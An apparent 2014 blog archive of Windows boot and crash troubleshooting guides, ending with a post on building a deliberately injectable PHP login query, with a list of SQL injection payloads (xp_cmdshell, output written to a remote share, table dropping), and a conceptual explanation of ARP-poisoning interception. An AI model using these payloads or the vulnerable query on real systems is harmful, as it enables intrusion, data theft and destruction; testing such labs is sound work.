Thursday 16 January 2014

How to Fix NTLDR is missing Errors Press Ctrl+Alt+Del to restart



  1. Restart the PC. The NTLDR error could be a fluke.
     
  2. Check your floppy and optical (CD/DVD/BD) drives for media and disconnect any external drives. Often times, the "NTLDR is Missing" error will appear if your PC is trying to boot to a non-bootable floppy disk, CD/DVD/BD, or external hard drive or flash drive.

    Note: If you find that this is the cause of your problem and it's happening a lot, you might want to consider changing the boot order in BIOS so the hard drive with Windows installed is listed first.
     
  3. Check the hard drive and other drive settings in BIOS and ensure they are correct. The BIOS configuration tells the computer how to use a drive so incorrect settings can cause problems, including NTLDR errors.

    Note: There is usually an Auto setting for hard drive and optical drive configurations in BIOS which is usually a safe bet if you're not sure what to do.
     
  4. Restore the NTLDR and ntdetect.com files from the Windows XP CD. Restoring these two important system files from the original Windows XP CD may do the trick.
     
  5. Repair or replace the boot.ini file. This will prevent the NTLDR error if the cause of the problem is a boot.ini file that is not configured properly for your Windows XP installation.
     
  6. Write a new partition boot sector to the Windows XP system partition. If the partition boot sector has become corrupt or isn't properly configured, you may receive the "NTLDR is Missing" error.
     
  7. Repair the Windows XP master boot record. NTLDR error messages may also appear if the master boot record is corrupt.
     
  8. Reseat all internal data and power cables. NTLDR error messages could be caused by loose or malfunctioning IDE cables.

    Try replacing the IDE cable cable if you suspect it might be faulty.
     
  9. Update your motherboard's BIOS. Occasionally, an outdated BIOS version can cause the "NTLDR is Missing" error.
     
  10. Perform a repair installation of Windows XP. This type of installation should replace any missing or corrupt files. Continue troubleshooting if this does not resolve the issue.
     
  11. Perform a clean installation of Windows XP. This type of installation will completely remove Windows XP from your PC and install it again from scratch. While this will almost certainly resolve any NTLDR errors, it is a time consuming process due to the fact that all of your data must be backed up and then later restored.

    If you can't gain access to your files to back them up, understand that you will lose them all if you continue with a clean installation of Windows XP.
     
  12. Replace the hard drive and then perform a new installation of Windows XP. If all else has failed, including the clean installation from the last step, you're most likely facing a hardware issue with your hard drive.

Windows restarts without warning

Tip: This document is for computers that are restarting or rebooting by themselves and not computer's that turn off and remain off.

Software issue or error

With the introduction of Windows XP Microsoft designed Windows to automatically reboot each time an error occurs such as a BSoD. Although this may be nice for errors that do not occur often, users who have a re-occurring error may wish to identify the error to troubleshoot it. Below are the steps on how this feature can be disabled and enabled in Windows XP, Vista, 7, and 8.
  1. From the Desktop right-click on My Computer.
  2. Click the Properties option.
  3. In the System Properties window click the Advanced tab or the Advanced system settings link.
  4. In Advanced click the Settings button under Startup and Recovery.
  5. In the Startup and Recovery window uncheck the Automatically restart check box.
  6. Click Ok.
Now if the computer generates an error it should not automatically restart and should display an error message, most likely a BSoD.

Hardware issue or error

Caution: Some of the below steps require you open your computer. While in the computer, be cautious of ESD.
Any failing hardware component in your computer could cause your computer to unexpectedly generate an error or reboot without warning. If you have recently attempted to add a new hardware device, remove that device to make sure it is not causing your issues.
Make sure you are not encountering any hardware conflicts by viewing Device Manager for errors.
New drivers can also cause this issue, if you have recently performed any hardware driver updates you may wish to try an earlier version of the drivers. Additional information and help with computer drivers can be found on our drivers page.
If you have updated drivers and removed any hardware that could be causing this issue and continue to experience random reboots, it's possible that the memory is bad in the computer.
Finally, hardware devices that are not installed properly in the computer can also cause random reboots. Make sure all the cables and expansion cards are connected properly to the computer. The best way to determine this is to disconnect and reconnect all cables and expansion cards.

Computer virus

Computer viruses such as the blaster virus are written to reboot your computer without warning. Usually these viruses will make the computer reboot ever 5, 10, 15 or 30 minutes after the computer has booted.
If you believe your computer may be infected with a virus or are uncertain if your computer is infected with a virus make sure your virus scanner definitions are up to date.

Heat related issue

Many computer today are designed to turn off or automatically reboot if the computer, processor, or other device in your computer gets to hot. If you have heard any abnormal noises coming from your computer recently such as a high squealing this could indicate a fan may be failing in your computer.
First, verify the fan on the power supply is working by examining the back of the computer and seeing if the fan is moving and moving smoothly. For all other fans in the computer you will need to either open the computer and verify all fans are working, e.g. processor fan and case fan.
Tip: If your BIOS monitors the RPM of the fans enter CMOS Setup and verify it does not report any errors.

Issue with operating system

If after following each of the above recommendations your computer still continues to reboot it is likely that you are experiencing a Microsoft Windows operating system related issue that cannot be explained. To help make sure this is the case try the below steps.
  1. Reboot the computer and enter CMOS setup as the computer is booting.
  2. After you have loaded the computer in CMOS setup let the computer sit.
If the computer does not reboot while letting the computer sit in CMOS it is likely that you are in fact experiencing an issue with Microsoft Windows and it is recommend that if you have followed all of the above recommendations that you reinstall Microsoft Windows.

Wednesday 15 January 2014

How To Fix STOP 0x0000007B Errors Blue Screen of Death

  1. Restart your computer if you haven't already done so. The STOP 0x0000007B blue screen error might be a fluke.
  2. Did you just install or make a change to a hard drive controller? If so, there's a good chance that the change you made caused the STOP 0x0000007B error.

    Undo the change and test for the 0x7B blue screen error.

    Depending on what changes you made, some solutions might include:

    • Remove or reconfigure the newly installed hard drive controller.
    • Startup with Last Known Good Configuration to undo related registry and driver changes.
    • Use System Restore to undo recent changes.
    • Rollback hard drive controller device driver to version prior to your driver update.
  3. Verify that the SCSI chain is correctly terminated, assuming you're using SCSI hard drives in your computer. Incorrect SCSI termination has been known to cause STOP 0x0000007B errors.

    Note: Most home computers don't utilize SCSI hard drives.
  4. Verify that the hard drive is properly installed. An improperly installed hard drive could cause STOP 0x0000007B errors and other issues.
  5. Verify that the hard drive is configured properly in BIOS. The STOP 0x0000007B error could occur if the hard drive settings in BIOS are incorrect.
  6. Scan your computer for viruses. Certain viruses that infect the master boot record (MBR) or boot sector can cause STOP 0x0000007B errors.

    Important: Make sure your virus scanning software is updated and configured to scan the MBR and boot sector.
  7. Update the drivers for your hard drive controller. If the drivers to your hard drive controller are outdated, incorrect, or corrupted then the STOP 0x0000007B error will likely occur.

    Note: If the STOP 0x0000007B error occurs during the Windows setup process and you suspect that the reason is driver related, be sure to install the latest hard drive controller driver from the manufacturer for use during the installation of the operating system.

    Note: This is a likely solution if the second hexadecimal number after the STOP code is 0xC0000034.
  8. Change the SATA mode in BIOS to IDE mode. Disabling some of the advanced features of SATA drives in BIOS could stop the STOP 0x0000007B error from showing up, especially if you're seeing it in Windows XP or during a Windows XP installation.

    Note: Depending on your BIOS make and version, SATA mode may be referred to as AHCI mode and IDE mode may be referred to as either Legacy, ATA, or Compatibility Mode.

    Note: While not a common solution, you may also want to try the reverse - see if IDE mode is selected in BIOS and if so change it to AHCI, especially if you see the STOP 0x0000007B error in Windows 8, Windows 7, or Windows Vista.
  9. Run chkdsk on your hard drive. If the boot volume is corrupted, the chkdsk command might repair the corruption.

    Important: You'll likely have to run chkdsk from the Recovery Console.

    Note: This will likely be the solution if the second hexadecimal number after the STOP code is 0xC0000032.
  10. Perform an extensive test of your hard drive. If your hard drive has a physical problem, one very likely situation is the STOP 0x0000007B error you're seeing.

    Replace the hard drive if the diagnostics you complete suggest that there is a hardware problem with the drive.
  11. Run the fixmbr command to create a new master boot record. A corrupted master boot record might be causing your STOP 0x0000007B error.

    Note: This will likely be the solution if the second hexadecimal number after the STOP code is 0xC000000E.
  12. Clear the CMOS. Sometimes the STOP 0x0000007B error is caused by a BIOS memory issue. Clearing the CMOS could solve that problem.
  13. Update your BIOS. In some situations, an outdated BIOS could cause a STOP 0x0000007B error due to incompatibilities with a hard drive controller.
  14. Update the hard drive controller's firmware if possible. Just as with the BIOS in the previous step, an incompatibility could be causing the 0x7B error and a firmware update from the manufacturer may correct the problem.
  15. Repair your Windows installation. If you've just replaced the motherboard in a computer without reinstalling Windows then this will likely fix your problem.

    Note: Sometimes a Windows repair will not fix a STOP 0x0000007B error. In those cases, a clean installation of Windows should do the trick.

    If you haven't just replaced your motherboard, a Windows reinstall probably will not fix your STOP 0x7B issue.
  16. Perform basic STOP error troubleshooting. If none of the specific steps above help fix the STOP 0x0000007B error you're seeing, take a look at this general STOP error troubleshooting guide. Since most STOP errors are similarly caused, some of the suggestions might help.

How to create a SQL Injection Test Site

 
Just run the simplest unprotected query:
$query = "SELECT * FROM users WHERE username = ".stripslashes($_POST['username'])." AND password = ".stripslashes($_POST['password'])
and enjoy! The stripslashes() part is there in case you haven't magic_quotes already disabled (as it should be), to avoid some automatic escaping; otherwise you'll have purest injectable input, just pick up any sql injection you might find on the internet and see. Some example:
' or 1=1--
' or 1--
' or 1
\" or '1'
' or 1=1--
' OR ''='
' or 'a'='a
') or ('a'='a
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
'; EXEC master..sp_makewebtask \"\\10.10.1.3\share\output.html\", \"SELECT * FROM INFORMATION_SCHEMA.TABLES\"",
10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='
' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''='
' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''='
' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='
1;DROP TABLE `users`

Hacking Skill - ARP poisoning

 Man-In-The-Middle attack using ARP spoofing

ARP stands for Address Resolution Protocol. ARP acts as a layer over the Internet Protocol address (IP) and converts it into a Media Access Control address (MAC address) or Ethernet Hardware Address (EHA). Understanding the concept of ARP is very important for a hacker because, a potential hacker will be able to poison the network and steal the information running between two servers. Hence he can execute a ‘Man-In-The-Middle‘ attack using a simple ARP poisoning tool such as Cain & Abel. The function of Cain & Abel is similar to a packet sniffer.
MAC address is a unique identification address for network nodes, such as computers, printers, and other devices on a LAN.  MAC addresses are associated to network adapter that connects devices to networks.  The MAC address is critical to locating networked hardware devices because it ensures that data packets go to the correct place.  ARP tables, or cache, are used to correlate network device’s IP addresses to their MAC addresses.
How it works?
Consider you want the phone number of a person whose name is already known to you. In that case you will checkout your telephone book and if the number is not available the you will call the phone service and request him the number. Here the telephone directory act as ARP tables and the phone service as ARP. ARP tables give the list of addresses of computers which are connected to that system inside the network.
What is ARP poisoning?
If a system(say System 1) requests to connect to another system(System 2) inside the network, then System 2 checks the entry of the System 1 in its ARP tables and if the entry is not present then it is automatically added in System 2′s ARP tables. The weakness of the ARP is that, it cannot identify if a person request to connect with it showing a another address. Therefore a hacker can easily poison this network, that is, a potential hacker if sends a request to connect to System 2 showing the IP address of System 1 then he can access the network of System 1 associated with System 2! So he will be able to obtain the information passing between them. That is, there is another path executed between the System 1 and System 2.
Suppose, if a hacker has poisoned a path between social networking site and a victim’s system then he would be able to steal the information passing between them, like username and password etc.
So here, in this case the phone service is calling you and giving you the number, even though you haven’t requested it! (Scenario mentioned above)
The concept of ARP with a simple example:
The attacker: 10.0.0.1
MAC address: 00-AA-BB-CC-DD-00
The victims: 10.0.0.2
MAC address: 00-AA-BB-CC-DD-E1
Fake address:10.0.0.3
MAC address: 00-AA-BB-CC-DD-E2
A potential hacker sends a packet (request to connect) to 10.0.0.2 with spoofed IP of  10.0.0.3 and then it sends a crafted package to 10.0.0.3 with  spoofed IP of 10.0.0.2 with his own IP. This means that both victims think they can find each other at the MAC address of the attacker. This is known as Man-In-The-Middle attack
Now all the traffic between those 2 hosts will go through the attacker first. So this means that the attack will need to reroute the packets to the real destination else you get a DOS on the network and there will be no traffic possible. Also remember that the ARP tables get updated so if during a long period of time there is no ARP poisoning the entries will be deleted and you won’t be able to sniff until you start poisoning again.